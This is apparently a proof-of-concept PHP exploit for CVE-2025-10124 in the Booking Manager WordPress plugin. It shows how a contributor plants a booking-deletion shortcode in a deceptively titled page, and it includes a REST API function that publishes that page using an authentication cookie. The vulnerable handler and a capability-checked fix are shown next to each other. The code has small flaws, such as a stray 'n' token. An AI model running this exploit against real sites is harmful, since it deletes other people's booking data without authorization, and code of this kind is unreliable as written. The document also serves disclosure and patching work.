CVE-2025-10124 Booking Manager WordPress插件短代码未授权删除漏洞

<?php /** * CVE-2025-10124 PoC - Booking Manager WordPress Plugin Shortcode Abuse * This PoC demonstrates how a contributor-level user can create a page * that deletes all bookings when visited by any user. * * The vulnerability exists in Booking Manager plugin versions before 2.1.15 * where the booking deletion shortcode is accessible to contributor+ users. */ // Step 1: Register as a contributor on the target WordPress site // (assuming user registration is enabled) // Step 2: Login and create a new page with the following content: // The malicious shortcode embedded in page content: $malicious_page_content = '"' . '[booking_manager_delete]' . '"' . '"' . ' Check out our latest deals! ' . '"'; // Step 3: Submit the page for review (contributor-level action) // WordPress will render this shortcode when any visitor views the page // Step 4: When an admin/editor visits the page, the shortcode executes // and triggers the booking deletion function without proper permission checks // Demonstration of the vulnerable code pattern in the plugin: function vulnerable_shortcode_handler($atts) { // VULNERABILITY: Only checks if user is logged in, not if user is admin if (is_user_logged_in()) { // Directly executes the deletion without capability check global $wpdb; $wpdb->query("DELETE FROM {$wpdb->prefix}booking_manager_bookings"); return "Bookings deleted successfully"; } return "Please login to continue"; } // The fix should include proper capability check: function fixed_shortcode_handler($atts) { // FIXED: Check for administrator capability before deletion if (!current_user_can('manage_options')) { return "You do not have permission to perform this action"; } global $wpdb; $wpdb->query("DELETE FROM {$wpdb->prefix}booking_manager_bookings"); return "Bookings deleted successfully"; } // Register the shortcode (vulnerable version) add_shortcode('booking_manager_delete', 'vulnerable_shortcode_handler'); // Automated exploitation via WordPress REST API (if applicable): function exploit_via_rest_api($site_url, $username, $password, $auth_cookie) { $endpoint = $site_url . '/wp-json/wp/v2/pages'; $page_data = array( 'title' => 'Important Announcement', 'content' => '[booking_manager_delete] Welcome to our site!', 'status' => 'publish' ); $args = array( 'method' => 'POST', 'headers' => array( 'Content-Type' => 'application/json', 'Cookie' => $auth_cookie ),n 'body' => json_encode($page_data) ); // Send the request to create the malicious page $response = wp_remote_post($endpoint, $args); return $response; } ?>